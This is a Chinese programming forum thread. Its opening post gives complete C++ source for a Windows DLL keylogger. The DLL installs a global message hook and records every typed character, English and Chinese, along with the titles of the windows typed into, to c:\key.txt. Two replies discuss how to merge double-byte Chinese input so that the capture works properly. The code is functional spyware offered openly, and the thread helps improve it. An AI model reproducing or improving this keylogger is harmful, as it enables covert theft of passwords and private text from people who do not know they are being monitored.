下面是我的代码,可以捕捉汉定和英文,你自己看吧
// alltest.cpp : Defines the entry point for the DLL application.
//#include "stdafx.h"#pragma data_seg(".JOE")
HANDLE hFile=NULL;
HWND prewnd=NULL;
#pragma data_seg()
#pragma comment(linker, "/section:.JOE,rws")
HINSTANCE hInst=NULL;
HHOOK hhook=NULL;
//HHOOK hhook2=NULL;
LRESULT CALLBACK msghook(UINT nCode, WPARAM wParam, LPARAM lParam);
//LRESULT CALLBACK JournalRecordProc(UINT nCode,WPARAM wParam,LPARAM lParam);
extern "C" __declspec(dllexport) BOOL clearMyHook();
BOOL APIENTRY DllMain( HINSTANCE hInstance, 
                       DWORD  Reason, 
                       LPVOID Reserved
 )
{
switch(Reason)
    { /* reason */
     case DLL_PROCESS_ATTACH:
hInst = hInstance;
return TRUE;
     case DLL_PROCESS_DETACH:
if(hhook != NULL)    clearMyHook();
   

return TRUE;
    } /* reason */
    return TRUE;
}extern "C" __declspec(dllexport) BOOL setMyHook()
    {
     if(hhook != NULL)
return FALSE; // already hooked!
     hhook = SetWindowsHookEx(WH_GETMESSAGE,
    (HOOKPROC)msghook,
    hInst,
    0);
//  hhook2=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInst,0);
     if(hhook != NULL)
{ /* success */
 
 return TRUE;
} /* success */
     return FALSE; // failed to set hook
    } // setMyHook
extern "C" __declspec(dllexport) BOOL clearMyHook()
    {
     if(hhook!=NULL)
return FALSE;
     BOOL unhooked = UnhookWindowsHookEx(hhook);
     CloseHandle(hFile);
     return unhooked;
    } // clearMyHookstatic LRESULT CALLBACK msghook(UINT nCode, WPARAM wParam, LPARAM lParam)
{
     if(nCode < 0)
{ /* pass it on */
 CallNextHookEx(hhook, nCode, wParam, lParam);
 return 0;
} /* pass it on */    
 LPMSG msg=(LPMSG)lParam;
 char buffer;
 DWORD number=0;
 char winname[100];
    if(msg->message==WM_CHAR)  
{//如果某键被按下 
     
      
          buffer=(char)msg->wParam; 
      GetWindowText(GetParent(msg->hwnd),winname,100);
  char *newname=new char[lstrlen(winname)+1];
  lstrcpy(newname,winname);
      hFile=CreateFile("c:\\key.txt",GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
      SetFilePointer(hFile,NULL,NULL,FILE_END);
  if(GetParent(msg->hwnd)!=prewnd)
  {
     WriteFile(hFile,"\r\n",2,&number,NULL);
      WriteFile(hFile,newname,lstrlen(newname)+1,&number,NULL);
      WriteFile(hFile,"\r\n",2,&number,NULL);
      prewnd=GetParent(msg->hwnd);
  }
  switch(buffer)
 {
  case 0x08:
  SetFilePointer(hFile,-1,NULL,FILE_CURRENT);
  SetEndOfFile(hFile);
  break;
    default:
    WriteFile(hFile,&buffer,1,&number,NULL);
     }
  CloseHandle(hFile);
  
    } // msghook
else if(msg->message==WM_IME_CHAR)
{
   char chCharCode1 = (char)msg->wParam & 0xff;
       char chCharCode2 = (char)msg->wParam >> 8;
   GetWindowText(GetParent(msg->hwnd),winname,100);
   char *newname=new char[lstrlen(winname)+1];
   lstrcpy(newname,winname);
   hFile=CreateFile("c:\\key.txt",GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
   SetFilePointer(hFile,NULL,NULL,FILE_END);
   if(GetParent(msg->hwnd)!=prewnd)
   {  
  if(prewnd!=NULL)
  {
     WriteFile(hFile,"\r\n",2,&number,NULL);
  }
  WriteFile(hFile,newname,lstrlen(newname)+1,&number,NULL);
  WriteFile(hFile,"\r\n",2,&number,NULL);
  prewnd=GetParent(msg->hwnd);
   }
       switch(msg->wParam)
 {
  case 0x08:
  SetFilePointer(hFile,-2,NULL,FILE_CURRENT);
  SetEndOfFile(hFile);
  break;
    default:
    WriteFile(hFile,&chCharCode1,1,&number,NULL);
   WriteFile(hFile,&chCharCode2,1,&number,NULL);
     }
   
   CloseHandle(hFile); }
return CallNextHookEx(hhook, nCode, wParam, lParam);
}

解决方案 »

  1.   

      我试过了上面的代码,我调试的结果,根本没有触发WM_IME_CHAR消息,反而是一个汉字
    出发了两次WM_CHAR消息,先发送地位字节,接着发送高位字节,比如一个“人”字,发
    送的是msg->wParam=203,msg->wParam=200(两次消息中的wparam参数)
      现在我如何合并这个汉字呢??????
      

  2.   

    我有一个钩子程序,在IE,notepad等程序中能用汉字,但在WORD,VC6等目标为RICHTEXT的程序中英文为两个(发了两次WM——CHAR),汉字出现乱码(可能就是发了四次消息,低低高高),
    各位有没有这现象?怎么办?